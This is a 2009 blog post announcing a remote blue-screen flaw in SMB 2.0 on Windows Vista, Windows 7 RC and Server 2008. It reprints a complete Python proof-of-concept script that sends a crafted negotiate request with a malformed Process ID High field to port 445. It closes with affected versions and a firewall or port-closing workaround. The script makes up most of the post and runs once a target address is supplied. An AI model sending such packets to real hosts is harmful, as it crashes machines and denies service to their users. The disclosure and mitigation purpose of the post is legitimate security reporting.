Breadcrumbs
Home / Windows Vista/7/2008 SMB 2.0 Negotiate Protocol Request Remote B.S.O.D.Windows Vista/7/2008 SMB 2.0 Negotiate Protocol Request Remote B.S.O.D.
Last Updated on Friday, 11 September 2009 12:30 Written by DarkKnightH20 Friday, 11 September 2009 12:30
Watch out for worms peoplez. A remote exploit is out for Vista and Windows 7 that can cause a blue screen of death (bsod) and likely more. Additional information can be read here. Though the page doesn’t state it, Windows 2008 with SP2 is also effected. Check out the Proof of Concept (PoC) for the vulnerability, as well as a workaround to protect yourself–
PROOF OF CONCEPT
-------------------------
Smb-Bsod.py:
#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
from socket import socket
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
Systems Effected: Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008 < R2, Windows 7 RC. NOT the final version of 7. Solution: No patch available for the moment. Close SMB feature and ports, until a patch is provided. Configure your firewall properly. You can also follow the MS Workaround.